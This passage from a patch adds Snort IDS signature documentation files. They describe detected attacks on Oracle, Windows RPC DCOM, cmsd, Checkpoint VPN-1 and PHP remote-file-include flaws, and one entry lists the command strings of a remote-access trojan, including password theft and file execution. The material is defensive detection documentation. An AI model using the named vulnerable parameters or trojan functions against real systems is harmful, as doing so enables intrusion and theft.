+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running PHP applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying PHP script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2724.txt
+++ snort-2.8.5.2/doc/signatures/2724.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2724
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure add_priority_date
+. This procedure is included in
+dbms_repcat.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2764.txt
+++ snort-2.8.5.2/doc/signatures/2764.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2764
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure drop_column_group_from_flavor
+. This procedure is included in
+dbms_repcat.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1576.txt
+++ snort-2.8.5.2/doc/signatures/1576.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1576
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1907.txt
+++ snort-2.8.5.2/doc/signatures/1907.txt
@@ -0,0 +1,70 @@
+Rule:
+
+Sid:
+1909
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a buffer
+overflow associated with the Remote Procedure Call (RPC) Calendar
+Manager Service daemon, cmsd.
+
+--
+Impact:
+Remote root access. The attack may allow execution of arbitrary commands
+with the privileges of root.
+
+--
+Detailed Information:
+The cmsd RPC service implements the Calendar Manager Service daemon that
+is often distributed with the Common Desktop Environment (CDE) and Open
+Windows. The Calendar Manager daemon provides appointment and scheduling
+functions for CDE. A buffer overflow exists in the rtable_insert()
+function because of improper bounds checking, allowing the execution of
+arbitrary commands with the privileges of root.  One possible exploit
+vector is by inserting appointments into the Calendar Manager database.
+ 
+--
+Affected Systems:
+	SCO Open UNIX 8.0
+	SCO UnixWare 7.1.1
+	HP-UX 10.20, 10.24, 10.30, 11.0
+	Sun Solaris 2.3, 2.4, 2.5, 2.5.1, 2.6, 7.0
+	Sun SunOS 4.1.3, 4.1.4
+
+--
+Attack Scenarios:
+The attacker can use the exploit code to overflow the buffer allowing
+execution of arbitrary commands with the privileges of root.
+
+--
+Ease of Attack:
+Simple. Exploit code is freely available.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Limit remote access to RPC services.
+
+Filter RPC ports at the firewall to ensure access is denied to
+RPC-enabled machines. 
+
+Disable unneeded RPC services.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3212.txt
+++ snort-2.8.5.2/doc/signatures/3212.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3212
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000418.txt
+++ snort-2.8.5.2/doc/signatures/100000418.txt
@@ -0,0 +1,58 @@
+
+
+Rule:
+
+--
+Sid:
+100000418
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "Ashwebstudio Ashnews" application running on a webserver. Access to the file "ashheadlines.php" using a remote file being passed as the "pathtoashnews" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "pathtoashnews" parameter in the "ashheadlines.php" script used by the "Ashwebstudio Ashnews" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Ashwebstudio Ashnews
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/1518.txt
+++ snort-2.8.5.2/doc/signatures/1518.txt
@@ -0,0 +1,72 @@
+Rule:
+
+--
+Sid:
+1518
+
+--
+Summary:
+This event is generated when an attempt is made to access the file
+nstelemetry.adp on a web server.
+
+--
+Impact:
+Information gathering.
+
+--
+Detailed Information:
+Access to nstelemetry.adp may indicate that a malicious user is trying to
+exploit a well known vulnerability in AOLserver that allows the attacker to read
+password protected files.
+
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	AOLServer.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2022.txt
+++ snort-2.8.5.2/doc/signatures/2022.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+2022
+
+--
+Summary:
+The RPC service mountd enables clients to connect to networked file 
+machine being dismounted via TCP.
+
+--
+Impact:
+Denial of network resources to users on the local area network.
+
+--
+Detailed Information:
+This may be an attempt to deny access to network resources from an 
+unauthorized source. It may also be indicative of an attacker probing 
+for RPC services on a host in an attempt to discover a possible entry 
+point to network resources via a vulnerable daemon.
+
+--
+Affected Systems:
+All systems allowing network shares to be unmounted by anonymous hosts, 
+all systems allowing RPC services to be stopped by ordinary users and 
+systems already compromised by an attacker via another vulnerability.
+
+--
+Attack Scenarios:
+This is an intelligence gathering activity, the attacker could remotely 
+unmount a shared resource to deny a resource to the local area network 
+or a probe to discover possible routes of entry into a system.
+
+--
+Ease of Attack:
+Simple
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+When allowing hosts to mount an external network share, consider using a
+hosts.allow file.
+
+Do not allow shares to be unmounted by unauthorized hosts or users.
+
+RPC services should not be available outside the local area network, 
+filter RPC ports at the firewall to ensure access is denied to RPC 
+enabled machines.
+
+RPC services should also be disabled where not needed.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3112.txt
+++ snort-2.8.5.2/doc/signatures/3112.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+3112
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in Microsoft License Logging Service.
+
+-- 
+Impact: 
+Serious. Execution of arbitrary code leading to unauthorized
+administrative access to the target host. Denial of Service (DoS) is
+also possible.
+
+--
+Detailed Information:
+Microsoft License Logging Service is used to manage licenses for
+Microsoft server products.
+
+A vulnerability in the service exists due to a programming error such
+that an unchecked buffer may present an attacker with the opportunity to
+exploit the service and run code of their choosing on an affected
+system. The attacker may then cause a DoS condition in the service or
+possibly gain administrative access to the target host.
+
+The unchecked buffer exists when processing the length of messages sent
+to the logging service.
+
+--
+Affected Systems:
+	Microsoft Windows Server 2003
+	Microsoft Windows Server 2000
+	Microsoft Windows NT Server
+
+--
+Attack Scenarios: 
+An attacker can supply extra data in the message to the service
+containing code of their choosing to be run on the server.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+-- 
+
+Corrective Action: 
+Apply the appropriate vendor supplied patches.
+
+--
+Contributors: 
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2377.txt
+++ snort-2.8.5.2/doc/signatures/2377.txt
@@ -0,0 +1,64 @@
+Rule:  
+
+--
+Sid:
+2377
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in Checkpoint VPN-1.
+
+--
+Impact:
+Unauthorized administrative access to Checkpoint VPN-1 systems
+
+--
+Detailed Information:
+Checkpoint VPN-1, SecuRemote and SecureClient contain an error that
+affects the processing of large Certificate requests to the VPN service.
+By sending a large amount of data in the Certificate Request payload an
+attacker may cause a buffer overflow condition to occur, presenting an
+opportunity to execute code of their choosing with the privileges of the
+user running the service, usually root.
+
+--
+Affected Systems:
+	CheckPoint Software FW-1 1.4.1 Service packs prior to SP6
+	CheckPoint Software FW-1 Next Generation FP1, FP0
+	CheckPoint Software VPN-1 1.4.1 SP5a
+	CheckPoint Software VPN-1 Next Generation FP1, FP0
+
+--
+Attack Scenarios:
+An attacker could supply a large Certificate Request payload containing
+code to be executed on the system.
+
+--
+Ease of Attack:
+Proof of concept code exists.
+
+--
+False Positives:
+None known
+
+--
+False Negatives:
+None known
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software
+
+Apply the appropriate vendor supplied patches
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3459.txt
+++ snort-2.8.5.2/doc/signatures/3459.txt
@@ -0,0 +1,61 @@
+Rule:
+
+--
+Sid:
+3459
+
+--
+Summary:
+This event is generated when activity by Peer-to-Peer (p2p) clients is detected.
+
+--
+Impact:
+Informational event. Unauthorized use of a p2p client may be in progress.
+
+--
+Detailed Information:
+This event indicates that use of a p2p client has been detected. This 
+may be against corporate policy. p2p clients connect to other p2p 
+clients to share files, commonly music and video files but can be 
+configured to share any file on the local machine.
+
+This activity may not only use bandwidth but may also be used to 
+transfer company confidential information to unauthorized hosts external
+to the protected network bypassing other security measures in place.
+
+This rule detects activity from Manolito p2p client applications.
+
+--
+Affected Systems:
+	Any host using a Manolito p2p client.
+
+--
+Attack Scenarios:
+This is indicative of the use of a p2p client.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Check the host and uninstall any p2p client found.
+
+--
+Contributors:
+Sourcefire Research Team
+Alex Kirk <akirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000124.txt
+++ snort-2.8.5.2/doc/signatures/100000124.txt
@@ -0,0 +1,56 @@
+Rule:
+
+--
+Sid:
+100000124
+
+--
+Summary:
+This event is generated when inappropriate content is detected in network 
+traffic.
+
+--
+Impact:
+Possible policy violation.
+
+--
+Detailed Information:
+This event is generated when inappropriate content is detected in network 
+traffic. Specifically, the content "girls gone wild" was observed.
+
+--
+Affected Systems:
+ All systems.
+
+--
+Attack Scenarios:
+This event indicates that inappropriate content may have been accessed from a 
+host on the protected network.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+This may be a policy violation, refer to the appropriate internal policy.
+
+--
+Contributors:
+Original Rule writer rmkml <rmkml@free.fr>
+Sourcefire Vulnerability Research Team
+Alex Kirk <akirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000815.txt
+++ snort-2.8.5.2/doc/signatures/100000815.txt
@@ -0,0 +1,55 @@
+
+
+Rule:
+
+--
+Sid:
+100000815
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "SimpleBoard SBP" application running on a webserver. Access to the file "performs.php" using a remote file being passed as the "sbp" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "sbp" parameter in the "performs.php" script used by the "SimpleBoard SBP" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using SimpleBoard SBP
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/3338.txt
+++ snort-2.8.5.2/doc/signatures/3338.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3338
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1248.txt
+++ snort-2.8.5.2/doc/signatures/1248.txt
@@ -0,0 +1,62 @@
+Rule:
+
+--
+Sid:
+1248
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a web server running Microsoft FrontPage
+Server Extensions.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases. Denial of
+Service is possible.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running Microsoft FrontPage Server Extensions. Many known
+vulnerabilities exist for this platform and the attack scenarios are
+legion.
+
+--
+Affected Systems:
+	All systems running Microsoft FrontPage Server Extensions
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Many exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3406.txt
+++ snort-2.8.5.2/doc/signatures/3406.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3406
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000612.txt
+++ snort-2.8.5.2/doc/signatures/100000612.txt
@@ -0,0 +1,74 @@
+Rule:
+
+--
+Sid:
+100000612
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file 
+include vulnerability in the "Indexu" application running on a webserver. 
+Access to the file "link_duplicate.php" using a remote file being passed as the 
+"admin_template_path" parameter may indicate that an exploitation attempt has 
+been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a 
+remote machine via the "admin_template_path" parameter in the 
+"link_duplicate.php" script used by the "Indexu" application running on a 
+webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to execute system binaries or malicious code of the 
+attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Indexu
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own 
+credentials to gain access. Alternatively the attacker can exploit weaknesses 
+to gain access as the administrator by supplying input of their choosing to the 
+underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/3015.txt
+++ snort-2.8.5.2/doc/signatures/3015.txt
@@ -0,0 +1,90 @@
+Rule: 
+
+--
+Sid: 
+3015
+-- 
+Summary: 
+This event is generated when an attempt is made to request a connection on port 2000 using the Insane Network 4.0 trojan.
+
+-- 
+
+Impact: 
+If connected, the attacker could remotetly execute a multitude of functions resulting in a full compromise of the victim's machine.
+
+--
+Detailed Information:
+Insane Network 4.0 uses port 2000 as its default, but -2000, or port 63536, incarnations also exist.
+Insane Network 4.0 has a number of functions. The following strings are indicative of a particular Insane Network 4.0 attack.
+Be aware that some versions of Insane Network 4.0 will send their attack strings one letter at a time. For example,
+to send the bomb command, some versions will send only one letter per packet, resulting in bomb being spelled out in multiple packets.
+
+Format: Name of function (Description of what it does *only if necessary*) - string to look for
+
+Bomb ("Bombs" monitor) - bomb
+Snow (Makes monitor snowy) - snow
+Melt ("Melts" the screen) - melt
+Reverse (Reverses screen) - reverse
+Copy File - cp followed by a file name and the destination path
+Ctrl-Alt-Del (Enable/Disable Ctrl-Alt-Del) - cad -e (for enable) cad -d (for disable)
+Delete File - rm followed by a file name, including path
+File List - ls followed by directory
+File Sharing (Gets shared file password information) - share
+Dial-Up Passwords (Get Dial-up password information) - passwd
+Make Text File - mktext
+Popup Message - popup
+Read File - cat followed by a file name, including path
+Reboot - reboot
+Registry Edit - regrun
+Rename File - ren followed by a file and its new name
+Run File - exec followed by a file name, including path
+Shutdown - shutdown
+Taskbar (Enable/Disable Task Bar) - task -e (for enable) tast -d (for disable)
+Telnet - telnet
+
+--
+Affected Systems:
+Windows 95/98/ME/NT/2000
+
+--
+
+Attack Scenarios: 
+The victim must first install the server. Be wary of suspicious files because they often can be backdoors in disguise.
+Once the victim mistakenly installs the server program, the attacker usually will employ an IP scanner program
+to find the IP addresses of victims that have installed the program. Then the attacker enters the IP address, port number (which 
+is assigned to the server program by the attacker: default is 2000), and presses the connect button and he has access to your computer.
+
+-- 
+
+Ease of Attack: 
+Easy. Simply a matter of pressing the connect button once the victim has installed the server.
+
+
+-- 
+
+False Positives:
+None known
+
+--
+False Negatives:
+None known
+
+-- 
+
+Corrective Action: 
+Remove insane network.exe and commands.txt
+Kill insane network.exe in the process list
+
+Keep your anti-virus software updated with the latest virus definitions.
+
+--
+Contributors:
+Original Rule Writer: Ricky Macatee <rmacatee@sourcefire.com> 
+Sourcefire Research Team
+
+-- 
+Additional References:
+http://www.pestpatrol.com/PestInfo/i/insane_network.asp
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2365.txt
+++ snort-2.8.5.2/doc/signatures/2365.txt
@@ -0,0 +1,60 @@
+Rule:  
+
+--
+Sid:
+2365
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in the PHP web application newsPHP.
+
+--
+Impact:
+Execution of arbitrary code on the affected system
+
+--
+Detailed Information:
+newsPHP contains a flaw such that it may be possible for an attacker
+to include code of their choosing by manipulating the variable LangFile when 
+making a GET or POST  request  to a vulnerable system.
+
+It may be possible for an attacker to execute that code with the
+privileges of the user running the webserver, usually root.
+
+--
+Affected Systems:
+	newsPHP newsPHP 216
+
+--
+Attack Scenarios:
+An attacker can make a request to an affected script and define their
+own path for the LangFile variable.
+
+--
+Ease of Attack:
+Simple. No exploit software required.
+
+--
+False Positives:
+None known
+
+--
+False Negatives:
+None known
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches
+
+Upgrade to the latest non-affected version of the software
+
+--
+Contributors:
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000752.txt
+++ snort-2.8.5.2/doc/signatures/100000752.txt
@@ -0,0 +1,55 @@
+
+
+Rule:
+
+--
+Sid:
+100000752
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "Free QBoard" application running on a webserver. Access to the file "contact.php" using a remote file being passed as the "qb_path" parameter may indicate that an exploitation attempt has been attempted. 
+
